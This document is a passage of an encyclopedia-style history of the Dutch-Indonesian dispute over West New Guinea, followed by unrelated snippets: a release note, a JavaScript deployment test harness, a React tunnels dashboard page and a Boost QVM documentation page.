Pemuda Organisasi Muda led by Machmud Singgirei Rumagesan and Abbas Iha, and Persatuan Islam Kaimana (PIK) of Kaimana led by Usman Saad and King of Namatota, Kasim Ombair. Indonesian irredentism Since 1947, in response to many civil servants, both Papuan locals and other islanders, sympathizing with Republican movement, the Dutch authorities increased its effort to imprison them or persuade them to switch sides although later on encourage them to pursue independence outside Indonesian Republic. In this early efforts, The most prominent members captured was Martin Indey, Hemanus Rumere and his associates from Biak were captured and imprisoned in Hollandia, meanwhile Corinus Krey was exiled to Digul. In 1949, the Round Table Conference concluded with Indonesia granted Independence as RIS with Republic of Indonesia as a constituent while New Guinea was under the administration of Dutch authorities with provision to discuss its fate after 1 year. Civil bureaucrats formerly filled with other Indonesian islanders suspected of harboring republican sympathies, were replaced by displaced Eurasians from Java, who filled many posts, especially in the middle and lower-middle position, which as a result stunted Papuan upward mobility. A Papuan advisory council in Biak, the Kainkain Karkara Biak, was established in 1947 on an elected basis but degenerated into a body that only advised the local District Officer on matters of customary law. A kind of municipal council had been envisaged in 1950 for some of the larger towns but discussions about their competence and membership composition dragged on over the years. Meanwhile, the Dutch managed to persuade some right-leaning Papuan elites like Markus Kaisepo, Abdullah Arfan, Johan Ariks, and also among leftist leaning elites like Nicolaas Jouwe, while other elites, mostly leftist leaning, who refused to change sides were accused of subversive activities and mostly imprisoned. Right-leaning Papuan elites then went on to set up Gerakan Persatuan Nieuw Guinea (GPNG), or New Guinea Unity Movement, in a number of towns throughout the island. The program of the GPNG was essentially, repudiation of the Indonesian claim and support of the Netherlands administration. Between 1950 and 1953, the Netherlands and Indonesia tried to resolve the dispute through bilateral negotiations, conflicts arose because by the end of 1950, federal government structure collapsed and taken over by republican government which means The Netherlands had less say in Indonesian affairs. The Netherlands refused to follow on New Guinea provision of Round Table agreement as it was considered void after this change. These negotiations were unsuccessful and led the two governments to harden their position. On 15 February 1952, the Dutch Parliament voted to incorporate New Guinea into the realm of the Netherlands. After that, the Netherlands refused further discussion on the question of sovereignty and considered the issue to be closed. In response, President Sukarno adopted a more forceful stance towards the Dutch. Initially, he unsuccessfully tried to force the Indonesian government to formally abrogate the Round Table agreements and to adopt economic sanctions but was rebuffed by the Natsir Cabinet. Undeterred by this setback, Sukarno made recovering West Irian an important priority of his presidency and sought to harness popular support from the Indonesian public for this goal throughout many of his speeches between 1951 and 1952. In New Guinea, while the activities of PKII and KIM associated groups were greatly diminished after most of their leaderships was captured under subversive law, some successors groups still exist and fighting for integration with Indonesia. In Hollandia 1951, some Papuan from Western part of New Guinea founded the Partai Indonesia Islam, the party was fiercely against Dutch authorities and as a result was imprisoned and given sentences of 12 years. Another wave of arrest happened on 3 February 1952, this time group led by Simon Jentara who intended for advocating Western New Guinea integration with Indonesia. On 2 May 1950, RIS court release a decision to free King of Sekar, Machmud Singgirei Rumagesan who went on to lead Gerakan Tjendrawasih Revolusioner Irian Barat (GTRIB) in 1953, and in that year, there were 2 revolts against Dutch New Guinea Government, one from around his kingdom regions, led by Abutalib bin Paris from Kokas, and on 10 October 1953, from Waris district. By 1953, the dispute had become the central issue in Indonesian domestic politics. All political parties across the Indonesian political spectrum, particularly the Indonesian Communist Party (PKI), supported Sukarno's efforts to integrate West Irian into Indonesia. According to the historians Audrey and George McTurnan Kahin, the PKI's pro-integration stance helped the party to rebuild its political base and to further its credentials as a nationalist Communist Party that supported Sukarno. In the same year, during visit of the Netherlands Parliamentary mission, petitions were received from GPNG leaders in Hollandia, Biak, and Manokwari. In addition to the usual expressions of loyalty these petitions voiced a strong desire for more education. Although local resentments over land disputes with Eurasian settlers brought by Dutch authorities were also expressed. A Protestant labor organization, the Christelijk Werknemers Verbond Nieuw-Guinea-Perserikatan Sekerdia Kristen di Nieuw-Guinea (CWNG-Persekding) was founded in 1952. At that time, the salaries of Dutch officials and the fate of Eurasian contract workers were its main concern. It gradually developed specific Papuan welfare interests and became active in the educational field. Associated kaum ibu (women's clubs) were organized and mainly fought for modern labor legislation. Membership, especially the Papuan, increased rapidly after 1957 and reached over 3,000 by 1960. Many of these Papuan members would go on to join National Party (Parna) advocating for Papuan independence, although over time, some members like E.J. Bonay and Frits Kirihio of Parna, advocated working with Indonesia with Parna becoming branch of Partai Nasional Indonesia (PNI) led by Herman Wayoi. This was in opposition with Kena U Embay, formed later on, who claimed Parna only advocated for position in bureaucracy and criticised Kirihio as 'Papuan Hitler', and advocated for union with Netherlands. Early Indonesian incursions At the urging of President Sukarno, Prime Minister Ali Sastroamidjojo began authorising limited incursions into West New Guinea in 1952. However, these early incursions were militarily unsuccessful, and Indonesia did not launch any more military operations until 1960. According to Ken Conboy, the first incursions were 'amateurish', the first infiltration of Gag Island in 1952 led to the arrest of the infiltrators within days. A second infiltration attempt one year later in 1953, this time directed at Kaimana, in like manner was promptly contained and the infiltrators arrested. A third infiltration attempt in Etna Bay 1954 was a more serious affair, a well-armed party of 42 infiltrators led by Johannes Abraham Dimara were able to abduct the Dutch police officer Sergeant van Krieken back to Indonesian territory. The infiltration force was engaged by Dutch marines, resulting in eleven Indonesian casualties and the capture of the remaining Indonesian forces, the Indonesian government reluctantly accepted it could not mount a credible military challenge against the Dutch in West New Guinea, and it was not until 1960 that Indonesia would again test the Dutch military position in West New Guinea. Alongside this the Dutch authorities began capturing Papuan youths members of Organisasi Pembebasan Irian (OPI) from Sorong branch, as Dimara was a former chairman in 1950, he was exiled to Digul until 1960. In Digul Prison, an organization called Untuk Pembebasan Irian (UPI) was formed in 1955 led by Benyamin Felubun, under the advice of Johannes Abraham Dimara, this organization then spread to other location including in Okaba led by C. Tamnge, in led by Yan Kameubun, and in Mimika led by L. Renwarin. Mimika branch was mainly composed of many teachers from Kei Islands who was assigned in this area under Dutch administration and also work against RMS operatives in the area. By February 1960, UPI was transformed to Persatuan Semangat Pemuda 1945 (PSP-45). This organization memberships mainly work in intelligence in conjunction with Indonesian intelligence operatives and were trained and equipped to contact infiltration by Indonesia forces at later dates. In August 1960, Dutch authorities would capture 19 members of PSP-45 including its leaders, they would only be released on 15 October 1962 under UNTEA. United Nations involvement In 1954, Indonesia decided to take the dispute to the United Nations and succeeded in having it placed on the agenda for the upcoming ninth session of the United Nations General Assembly (UNGA). In response, the Dutch Ambassador to the United Nations, Herman van Roijen, warned that the Netherlands would ignore any recommendations which might be made by the UN regarding the dispute. During the Bandung Conference in April 1955, Indonesia succeeded in securing a resolution supporting its claim to West New Guinea from the Afro-Asian countries. Besides the Afro-Asian countries, Indonesia was also supported by the Soviet Union and its Warsaw Pact allies. Meanwhile, the Netherlands' stance was supported by the United States, the United Kingdom, Australia, New Zealand, and several Western European and Latin American countries. However, these countries were unwilling to commit to providing military support to the Netherlands in the event of a conflict with Indonesia. The Eisenhower Administration was open to non-violent territorial changes but rejected the use of any military means to resolve the dispute. Until 1961, the U.S. pursued a policy of strict neutrality and abstained on every vote on the dispute. According to the historian Nicholas Tarling, the United Kingdom government took the position that it was "strategically undesirable" for control of the territory to pass to Indonesia because it created a precedent for encouraging territorial changes based on political prestige and geographical proximity. The Australian Menzies Government welcomed the Dutch presence in West New Guinea as an "essential link" in its national defence since it also administrated a trust territory in the eastern half of New Guinea. Unlike its Labor Party successor which had supported the Indonesian nationalists, Prime Minister Robert Menzies viewed Indonesia as a potential threat to its national security and distrusted the Indonesian leadership for supporting the Japanese during World War II. In addition, New Zealand and South African governments also opposed the Indonesian claim to West New Guinea. The New Zealand government accepted the Dutch argument that the Papuans were culturally different from the Indonesians and thus supported maintaining Dutch sovereignty over the territory until the Papuans were ready for self-rule. By contrast, newly independent India, another Commonwealth member supported Indonesia's claim to West New Guinea. Between 1954 and 1957, Indonesia and their Afro-Asian allies made three attempts to get the United Nations to intervene in the dispute. However, all these three resolutions failed to gain a two–thirds majority in the United Nations General Assembly. On 30 November 1954, the Indian representative Krishna Menon initiated a resolution calling for the Indonesians and Dutch to resume negotiations and to report to the 10th UNGA Session. This resolution was sponsored by eight countries (Argentina, Costa Rica, Cuba, Ecuador, El Salvador, India, Syria, and Yugoslavia) but failed to secure a two-thirds majority (34-23-3). In response to growing tensions between Jakarta and the Hague, the Indonesian government unilaterally dissolved the Netherlands-Indonesian Union on 13 February 1956, and also rescinded compensation claims to the Dutch. Undeterred by this setback, Indonesia resubmitted the West New Guinea issue to the UNGA's agenda in November 1956. On 23 February 1957, a thirteen country–sponsored resolution (Bolivia, Burma, Ceylon, Costa Rica, Ecuador, India, Iraq, Pakistan, Saudi Arabia, Sudan, Syria, and Yugoslavia) calling for the United Nations to appoint a "good offices commission" for West New Guinea was submitted to the UN General Assembly. Despite receiving a plural majority (40-25-13), this second resolution failed to gain a two-thirds majority. Undeterred, the Afro-Asian caucus in the United Nations lobbied for the dispute to be included on the UNGA's agenda. On 4 October 1957, the Indonesian Foreign Minister Subandrio warned that Indonesia would embark on "another cause" if the United Nations failed to bring about a solution to the dispute that favoured Indonesia. That month, the Indonesian Communist Party and affiliated trade unions lobbied for retaliatory economic measures against the Dutch. On 26 November 1957, a third Indonesian resolution was put to the vote but failed to gain a two-thirds majority (41-29-11). In response, Indonesia took retaliatory measure against Dutch interests in Indonesia. Escalating tensions In 1956, Papuan youths from Fakfak revolted and managed to burn a couple of police stations and stole some guns. In response of the capture of PPI and OPI leaderships in Sorong, OPI began to be led by Bastian Samori, Yulius Worabay, Lodewijk Wosiri, Bob Warinusi, and . On 3 November 1956, this movement which consisted of 300 people planned a sabotage to blow up oil tank in Sorong. However the plan was foiled by the Dutch authority and they managed to capture E. Paprindey, Elimelek Ayoni and Franky Kossa in November 1959. Multiple fierce fighting happened in Enarotali, between 1952 and 1954, the area around Wissel Lakes were the center of a messianic movement called Wege. It was centered around the believe of Ratu Adil from Java would come and found kingdom of happiness which was based on a local folktale of Situgumina which travel to the west, in the direction of Java, and will return again to bring secret of life and death and wealth, as a result the Ekari should prepare for their arrival. The local people would began the preparation by setting up barracks in the middle of forest and participated in ceremony for weeks. The leader of this movement was Zacheus Pakage, a former priest from Bomou which had studied in Makassar; he was captured and imprisoned in mid 1954, only freed in 1962. Another incident happened in Obano, 3 November 1956 when a missionary Cessna plane was burned by Ekaris which resulted in Dutch retaliations. In August 1957, a couple of Dutch policemen were killed, around the area of Wissel Lakes, and the second incidents happened in 1959. These events were known as "Enarotali Incidents". On 6 July 1959, several former Japanese weapons were confiscated from the local people in Genyem, near Hollandia. However this led to revolt and Dutch police and marine units were sent to quell the revolt. Simultaneously with this event, a rebellion with messianic movement roots also erupted near the region of Asmat. This movement began in 1956, which invited brutal retaliation by Dutch colonial authority and around 700 would be killed in Ayan village. Another revolt would began in 1958–1959, when Dutch authority would deploy HNLMS Piet Hein and resulted in around 1,000 deaths in Agats. These events would be known as "Agats Incident". In 1960, successive rebellions happened, specifically in Kokas, Fakfak, in August and December 1960 which was led by Lapadanga and many of the perpetrators, were captured and exiled to Digul. Then in November 1960, approximately 25 Papuan youths in Merauke were arrested by the Dutch for holding a movement against the Dutch government. In Hollandia (now Jayapura) there was also a fierce rebellion in the same year and is better known as the "Baliem Valley Incident." In suppressing this multiple rebellions, the Dutch authorities acted with brutality, inviting protests from the Dutch public, and local populations. In Biak, there were also numerous arrests, including a teacher named Petrus Wettebessy who was arrested for his activities against the Dutch leading the Party for Irian Inside the United States of Indonesia (Partai Irian Dalam Republik Indonesia Serikat, PIDRIS) alongside Corinus Krey and the party's deputy leader, Marthen Indey who was arrested separately in Ambon. Then in December there was a rebellion between school children and teachers because of the arbitrary actions of a Dutch official against a Papuan youths. In Sorong, another incident happened involving members of OPI under the leadership of Bastian Samori, he was finally arrested and imprisoned by the Dutch authorities. After the defeat of the third Afro-Asian resolution in November 1957, the Indonesian government embarked on a national campaign targeting Dutch interests in Indonesia; leading to the withdrawal of the Dutch flag carrier KLM's landing rights, mass demonstrations and worker strikes in Dutch-owned companies, and the seizure of the Dutch shipping line KPM, BPM, , Dutch-owned banks, and other estates. A total of 700 Dutch-owned companies with a valuation total of around $1.5 billion was nationalised. By January 1958, ten thousand Dutch nationals had left Indonesia, many returning to the Netherlands. This spontaneous nationalisation had adverse repercussions on the Indonesian economy, disrupting communications and affecting the production of exports. President Sukarno also abandoned efforts to raise the dispute at the 1958 United Nations General Assembly, claiming that reason and persuasion had failed. By June 1960, around thirteen thousand Dutch nationals mostly Eurasians from New Guinea left for Australia, with around a thousand move to the Netherlands. Following a sustained period of harassment against Dutch diplomatic representatives in Jakarta, the Indonesian government formally severed relations with the Netherlands in August 1960. In response to Indonesian aggression and facing local pressure, the Netherlands government stepped up its efforts to prepare the Papuan people for self-determination in 1959. These efforts culminated in the establishment of a new hospital in Hollandia (currently RSUD Jayapura), a shipyard in Manokwari, agricultural research sites, plantations, and a military force known as the Papuan Volunteer Corps. By the end of 1960, a legislative New Guinea Council had been established with a mixture of legislative, advisory and policy functions had been established. Half of its members were to be elected, and elections for this council were held the following year. These include setting up of local political parties, Those parties were: National Party (Partai Nasional, Parna) led by Herman Wayoi, Democratic People's Party (Democratische Volks Partij, DVP) led by A. Runtuboy, Kena U Embay (KUD) led by Essau Itaar, National Party of Papua (Nasional Partai Papua, Nappa), Independent Papua Party (Partai Papua Merdeka, PPM) led by Mozes Rumainum, Papua National Committee (Committee Nasional Papua, CNP) led by Willem Inury, Papuan National Front (Front Nasional Papua, FNP) led by Lodewijk Ayamiseba, New Guinean Party (Partai Orang Nieuw Guinea, PONG) led by Johan Ariks, New Guinea Unity Party (Eenheidspartij Nieuw Guinea, EPANG) led by Lodewijk Mandatjan, Party of Equal Human (Sama-Sama Manusia, SSM), Christian-Islam Union of Radja Ampat (Persatuan Christen Islam Radja Ampat, Perchisra) led by M.N. Majalibit, and Association of Papuan Youths (Persatuan Pemuda-Pemudi Papua, PERPEP) led by A.J.F. Marey. The Dutch also sought to create a sense of West Papuan national identity, and these efforts led to the creation of a national flag (the Morning Star flag), a national anthem, and a coat of arms. The Dutch had planned to transfer independence to West New Guinea in 1970. Exclusion in the New Guinea Council were parties and movements which openly supported Papuan integration with Indonesia, like KIM, PKII, Independence Fighter Association of West Irian (Persatuan Pedjuang Kemerdekaan Irian Barat, PPKI) led by J. Dimara and I. Kilikulat, Irian Indonesian Youth Organization (Organisasi Pemuda Indonesia Irian, OPII) led by N.C. Krey, PPI led by S.K. Tumengkol, Irian Youth Organization (Organisasi Pemuda Irian, OPI) led by D. Wosiri, Indonesian Independence Party (Partai Kemerdekaan Indonesia, PKI) led by Tan Tjung Ek, PIN, Islamic Indonesian Party (Partai Indonesia Islam), GMP, Indonesian Youth Movement (Gerakan Pemuda Indonesia, GPI) led by Rumbewas, and West Irian People's Movement (Gerakan Rakyat Irian Barat, GRIB). In 1962, GRIB staged a protest openly demanded that West Irian be returned to Indonesia during Dutch minister Bost visit to Fakfak. Aside from Papuan revolting in New Guinea, multiple Papuan individuals evade capture and fled to Indonesia, with some joining Cendrawasih Battalion, like Corinus Krey, A. Koromath, A.B. Karubuy, A.L.Maranni, N.L. Suages, Lt. Henkie Antaribaba, Lt. Ramandey, H.L. Rumaseuw, Lt. Wanggai, Lt. Numberi, and others who would become leaders for military infiltration during Operation Trikora. Other figures that received military training included AJ. Dimara, Benny Torey, Marinus Imbury, Zadrack Rumbobiar, Melkianus Torey, and Metusalim Fimbay. While others joined Indonesian diplomatic delegations, which include: M. Indey, Frits Kiriheo, J.A. Dimara, alongside S. Papare who had been living in Indonesian territories. Although no exact number of escapees from 1949 to 1961 was known, Yayasan Badan Kontak Keluarga Besar Perintis Irian Barat (Foundation for Irian Barat Veterans), listed 154 notable Indonesian nationalists from all over Papua, with most fled during 1959–1961. Renewed diplomacy By 1960, other countries in the Asia-Pacific region had taken notice of the West Irian dispute and began proposing initiatives to end the dispute. During a visit to the Netherlands, the New Zealand Prime Minister Walter Nash suggested the idea of a united New Guinea state, consisting of both Dutch and Australian territories. This idea received little support from both Indonesia and other Western governments. Later that year, the Malayan Prime Minister Tunku Abdul Rahman proposed a three-step initiative, which involved West New Guinea coming under United Nations trusteeship. The joint administrators would be three non-aligned nations Ceylon, India, and Malaya, which supported Indonesia's position on West Irian. This solution involved the two belligerents, Indonesia and the Netherlands, re-establishing bilateral relations and the return of Dutch assets and investments to their owners. However, this initiative was scuttled in April 1961 due to opposition from the Indonesian Foreign Minister Subandrio, who publicly attacked the Tunku's proposal. By 1961, the Netherlands government was struggling to find adequate international support for its policy to prepare West New Guinea for independent status under Dutch guidance. While the Netherlands' traditional Western allies—the United States, Great Britain, Australia, and New Zealand—were sympathetic to Dutch policy, they were unwilling to provide any military support in the event of a conflict with Indonesia. On 26 September 1961, the Dutch Foreign Minister Joseph Luns offered to hand over West New Guinea to a United Nations trusteeship. This proposal was firmly rejected by his Indonesian counterpart Subandrio, who likened the West New Guinea dispute to Katanga's attempted secession from the Republic of Congo during the Congo Crisis. By October 1961, Britain was open to transferring West New Guinea to Indonesia while the U.S. floated the idea of a jointly-administered trusteeship over the territory. On 23 November 1961, the Indian delegation at the United Nations presented a draft resolution calling for the resumption of Dutch–Indonesian talks on terms which favoured Indonesia. On 25 November 1961, several Francophone African countries tabled a rival resolution which favoured an independent West New Guinea. Indonesia favoured the Indian resolution while the Netherlands, Britain, Australia, and New Zealand supported the Francophone African resolution. On 27 November 1961, both the Francophone African (52-41-9) and Indian (41-40-21) resolutions were put to the vote failed to gain a two–thirds majority at the United Nations General Assembly. The failure of this final round of diplomacy in the UN convinced Indonesia to prepare for a military invasion of West Irian. The military dimension, 1959-1962 Indonesian-Soviet rapprochement As the dispute began to escalate, Sukarno also developed closer relations with the Soviet Union, which shared Indonesia's anti-colonial outlook. In July 1959, the Indonesian government adopted a policy of Confrontation (Konfrontasi) against the Dutch. According to the Indonesian political scientist J. Soedjati Djiwandono, Indonesia's Confrontation policy involved the use of political, economic, and military force to induce an opponent to reach a diplomatic solution on Indonesian terms. Later that year, the Soviet government decided to supply warships and other military hardware directly to the Indonesians. By 1965, the Indonesian Navy had grown to 103 combat vessels and other auxiliaries (including a cruiser, twelve submarines, and sixteen destroyers and frigates). Due to Soviet military aid, the Indonesian Navy became the second most potent force in East Asia after China. The Indonesian Air Force also benefited from an infusion of Soviet military hardware and training, developing a long-range capability. Bolstered by Soviet military weapons and equipment, Indonesia had begun to reconsider the viability of renewing military operations against Dutch forces in West New Guinea. On 9 November 1960, Indonesia launched a seaborne incursion into the territory, but this operation proved to be a failure. Of the twenty-three infiltrators, seven were killed, and the remaining sixteen were captured within four months. On 14 September 1961, a new infiltration attempt was launched, but once again the infiltration party was promptly intercepted and defeated by Dutch forces. Operation Trikora Following the failure of diplomacy in the United Nations and persisted Dutch efforts to prepare the West Papuans for self-rule, Indonesia's Confrontation against the Dutch in West New Guinea reached a new crescendo. On 19 December 1961, President Sukarno gave orders for the Indonesian military to prepare for a full–scale military invasion of the territory; codenamed Operation Trikora. He also ordered the creation of a special People's Triple Command or Tri Komando Rakyat (Trikora) with the objective of 'liberating' West New Guinea by 1 January 1963. Trikora's operational command was to be called the Mandala Command for the Liberation of West Irian (Komando Mandala Pembebasan Irian Barat) and was led by Major-General Suharto, the future President of Indonesia. In preparation for the planned invasion, the Mandala command began making land, air, and sea incursions into West Irian. General Suharto also planned to launch a full-scale amphibious operation invasion of West Irian known as Operation Jayawijaya (or Operation Djajawidjaja). In response to Indonesian aggression, the Netherlands increased its military presence and intelligence-gathering efforts in West New Guinea. Since 15 April 1954, the Royal Netherlands Navy had been responsible for the territorial defence of West New Guinea. A signals intelligence agency known as Marid 6 Netherlands New Guinea (NNG) was also established in April 1955 to provide the Netherlands New Guinea authorities with intelligence on Indonesian intentions towards West Irian. One of Marid 6 NNG's successes was providing early warning of Indonesian plans to seize all KPM ships and facilities in December 1957. This enabled the Dutch authorities to evacuate 45 of these 83 ships. Later, Marid 6 NNG helped Dutch naval units to recapture the KPM ships. In 1962, the Royal Netherlands Navy deployed a sizeable naval task group including the aircraft carrier HNLMS Karel Doorman to West New Guinea. On 15 January 1962, the Indonesian Navy attempted to land a force of 150 marines near Vlakke Hoek, on West Irian's south coast. The Indonesians had intended to raise the Indonesian flag on Dutch territory to weaken the Netherlands position during the ongoing negotiations in New York. However, Marid 6 NNG managed to intercept Indonesian radio messages and learned about the Indonesian plans. In response, the Dutch authorities deployed a Lockheed Neptune patrol aircraft and three destroyers to intercept the three Indonesian motor torpedo-boats (the fourth boat had experienced engine trouble and did not participate). During the ensuing Vlakke Hoek incident, one of the Indonesian torpedo boats was sunk, while the remaining two boats were forced to retreat. The operation ended disastrously for Indonesia, with many crew members and embarked marines being killed and 55 survivors taken prisoner. Among the casualties was Commodore Yos Sudarso, the deputy chief of the Indonesian Navy Staff. On 24 June 1962, four Indonesian Air Force C-130 Hercules jets dropped 213 paratroopers near Merauke. Throughout the year, a total of 1,200 Indonesian paratroopers and 340 naval infiltrators landed in West New Guinea. By mid-1962, the Indonesian military had begun preparations to launch Operation Jayawijaya around August 1962. This operation was to be carried out in four phases and would have involved joint air and naval strikes against Dutch airfields, paratroop and amphibious landings at Biak and Sentani, and a ground assault on the territory's capital Hollandia. Unknown to the Indonesians, Marid 6 NNG had intercepted Indonesian transmissions and obtained intelligence on Indonesian battle plans. However, a ceasefire agreement known as the New York Agreement, which facilitated the transfer of West New Guinea to Indonesia control by 1963, was signed by the Dutch and Indonesians on 15 August 1962. As a result, the Trikora Command cancelled Operation Jayawijaya on 17 August 1962. Resolution The New York Agreement By 1961, the United States government had become concerned about the Indonesian military's purchase of Soviet weapons and equipment for a planned invasion of West New Guinea. The Kennedy Administration feared an Indonesian drift towards Communism and wanted to court Sukarno away from the Soviet Bloc and Communist China. The U.S. government also wanted to repair relations with Jakarta, which had deteriorated due to the Eisenhower Administration's covert support for the Permesta/PRRI regional uprisings in Sumatra and Sulawesi. These factors convinced the Kennedy Administration to intervene diplomatically to bring about a peaceful solution to the dispute, which favoured Indonesia. Throughout 1962, the U.S. diplomat Ellsworth Bunker facilitated top–secret high–level negotiations between the Dutch and Indonesian governments. These protracted talks produced a peace settlement known as the New York Agreement on 15 August 1962. As a face-saving measure, the Dutch would hand over West New Guinea to a provisional United Nations Temporary Executive Authority (UNTEA) on 1 October 1962, which then ceded the territory to Indonesia on 1 May 1963; formally ending the dispute. As part of the New York Agreement, it was stipulated that a popular plebiscite would be held in 1969 to determine whether the Papuans would choose to remain in Indonesia or seek self-determination. Legacy While U.S. diplomacy averted the escalation of the dispute into a full–blown war between Indonesia and the Netherlands, Washington failed to win over President Sukarno. Buoyed by his success in the West New Guinea campaign, Sukarno turned his attention to the former British colony of Malaysia, resulting in the Indonesian-Malaysian Confrontation which induced deterioration of Indonesia's relations with the West. Ultimately, President Sukarno was overthrown during the Indonesian coup attempt of 1965 and subsequently replaced by the pro-Western Suharto. In addition, the U.S. mining company Freeport-McMoRan was interested in exploiting Western New Guinea's copper and gold deposits. Following the Act of Free Choice plebiscite in 1969, Western New Guinea was formally integrated into the Republic of Indonesia. Instead of a referendum of the 816,000 Papuans, only 1,022 Papuan tribal representatives were allowed to vote, and they were coerced into voting in favour of integration. While several international observers including journalists and diplomats criticised the referendum as being rigged, the U.S. and Australia supported Indonesia's efforts to secure acceptance in the United Nations for the pro-integration vote. That same year, 84 member states voted in favour for the United Nations to accept the result, with 30 others abstaining. A number of Papuans refused to accept the territory's integration into Indonesia, which anti-independence supporters and foreign observers attributed to the Netherlands' efforts to promote a West Papuan national identity among right-leaning Papuans and suppressed left-leaning Papuans pro-Indonesian sympathies. These formed the separatist Organisasi Papua Merdeka (Free Papua Movement) and have waged an insurgency against the Indonesian authorities, which continues to this day. In 2017, a petition smuggled and claimed to be signed by 1.8 million West Papuans was presented to the United Nations demanding a new independence referendum and a UN representative to investigate suspected human rights violations by Indonesian security forces. Signing of the petition was made illegal under threat of prison by Indonesian authorities, nearby neighbour Australia continued to support Indonesia's sovereignty over West Papua citing the Lombok treaty. Notes See also Biak Massacre 1999 East Timorese crisis Citations References 20th-century conflicts Guided Democracy in Indonesia Military history of Indonesia Political history of Indonesia Wars involving Indonesia Wars involving the Netherlands 1950s in Oceania 1960s in Oceania Indonesia–Netherlands relations 1950s conflicts 1960s conflicts History of Western New Guinea Indonesia–Soviet Union relations
```yaml # Each section from every releasenote are combined when the # CHANGELOG.rst is rendered. So the text needs to be worded so that # it does not depend on any information only available in another # section. This may mean repeating some details, but each section # must be readable independently of the other. # # Each section note must be formatted as reStructuredText. --- fixes: - | On Windows, allow the uninstall to succeed even if the removal of the `ddagentuser` fails for some reason. ```
```javascript const fs = require('fs'); const path = require('path'); const { intoChunks } = require('../../../utils/chunk-tests'); const { testDeployment, } = require('../../../test/lib/deployment/test-deployment.js'); jest.setTimeout(12 * 60 * 1000); module.exports = function setupTests(groupIndex) { const fixturesPath = path.resolve(__dirname, 'fixtures'); const testsThatFailToBuild = new Map([ [ '04-wrong-dist-dir', 'No Output Directory named "out" found after the Build completed. You can configure the Output Directory in your Project Settings.', ], ['05-empty-dist-dir', 'The Output Directory "dist" is empty.'], [ '06-missing-script', 'Missing required "vercel-build" script in "package.json"', ], ['07-nonzero-sh', 'Command "./build.sh" exited with 1'], [ '22-docusaurus-2-build-fail', 'No Output Directory named "build" found after the Build completed. You can configure the Output Directory in your Project Settings.', ], [ '36-hugo-version-not-found', 'Version 0.0.0 of Hugo does not exist. Please specify a different one.', ], ]); let fixtures = fs.readdirSync(fixturesPath); if (typeof groupIndex !== 'undefined') { fixtures = intoChunks(1, 5, fixtures)[groupIndex - 1]; console.log('testing group', groupIndex, fixtures); } const fixturesToSkip = []; // eslint-disable-next-line no-restricted-syntax for (const fixture of fixtures) { if (fixturesToSkip.includes(fixture)) { continue; } const errMsg = testsThatFailToBuild.get(fixture); if (errMsg) { // eslint-disable-next-line no-loop-func it(`should fail to build ${fixture}`, async () => { try { await testDeployment(path.join(fixturesPath, fixture)); } catch (err) { expect(err).toBeTruthy(); expect(err.deployment).toBeTruthy(); expect(err.deployment.errorMessage).toBe(errMsg); } }); continue; //eslint-disable-line } it(`should build ${fixture}`, async () => { await expect( testDeployment(path.join(fixturesPath, fixture)) ).resolves.toBeDefined(); }); } }; ```
```jsx import React, {useState} from "react"; import CardTitleWithControls from "../../shared/CardTitleWithControls"; import {Presets} from "../../shared/timerange/TimeRange"; import SocksTunnelsTable from "./socks/SocksTunnelsTable"; import AlphaFeatureAlert from "../../shared/AlphaFeatureAlert"; export default function TunnelsPage() { const [socksTunnelsTimeRange, setSocksTunnelsTimeRange] = useState(Presets.RELATIVE_HOURS_24); return ( <React.Fragment> <AlphaFeatureAlert /> <div className="row"> <div className="col-md-12"> <h1>Tunnels</h1> </div> </div> <div className="row mt-3"> <div className="col-md-12"> <div className="card"> <div className="card-body"> <CardTitleWithControls title="SOCKS Tunnels" helpLink="path_to_url" timeRange={socksTunnelsTimeRange} setTimeRange={setSocksTunnelsTimeRange}/> <SocksTunnelsTable timeRange={socksTunnelsTimeRange} /> </div> </div> </div> </div> </React.Fragment> ) } ```
```html <!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'path_to_url <html xmlns='path_to_url xml:lang='en' lang='en'> <head> <meta http-equiv='Content-Type' content='text/html; charset=utf-8'/> <title>rotate_y(quat,scalar)</title> <link href='reno.css' type='text/css' rel='stylesheet'/> </head> <body> <div class="body-0"> <div class="body-1"> <div class="body-2"> <div> <h1>QVM: Quaternions, Vectors, Matrices</h1> </div> <!-- file LICENSE_1_0.txt or copy at path_to_url --> <div class="RenoIncludeDIV"><div class="RenoAutoDIV"><h3>rotate_y(quat,scalar)</h3> </div> <div class="RenoIncludeDIV"><p><span class="RenoEscape">&#35;<!--<wiki>`&#35;</wiki>--></span>include &lt;<span class="RenoLink"><a href="boost_qvm_quat_operations_hpp.html">boost/qvm/quat_operations.hpp</a></span>&gt;</p> <pre>namespace <span class="RenoLink"><a href="qvm.html">qvm</a></span> { <span class="RenoIncludeSPAN"> //Only <span class="RenoLink"><a href="SFINAE_enable_if.html">enabled if</a></span>: <span class="RenoLink"><a href="is_quat.html">is_quat</a></span>&lt;A&gt;::value template &lt;class A&gt; void <span class="RenoLink">rotate_y</span>( A &amp; a, typename <span class="RenoLink"><a href="quat_traits.html">quat_traits</a></span>&lt;A&gt;::<span class="RenoLink"><a href="quat_traits_Q_scalar_type.html">scalar_type</a></span> angle );</span> }</pre> </div><h4>Effects:</h4> <p>As if:</p> <pre>a <span class="RenoLink"><a href="operator_mul_eq_quat_quat_.html">*=</a></span> <span class="RenoLink"><a href="roty_quat_scalar_.html">roty_quat</a></span>(angle);</pre> </div><div class="RenoAutoDIV"><div class="RenoHR"><hr/></div> See also: <span class="RenoPageList"><a href="boost_qvm_quat_operations_hpp.html">boost/qvm/quat_operations.hpp</a></span> </div> <!-- file LICENSE_1_0.txt or copy at path_to_url --> <div id="footer"> <p> <a class="logo" href="path_to_url"><img class="logo_pic" src="valid-css.png" alt="Valid CSS" height="31" width="88"/></a> <a class="logo" href="path_to_url"><img class="logo_pic" src="valid-xhtml.png" alt="Valid XHTML 1.0" height="31" width="88"/></a> </p> </div> </div> </div> </div> </body> </html> ```
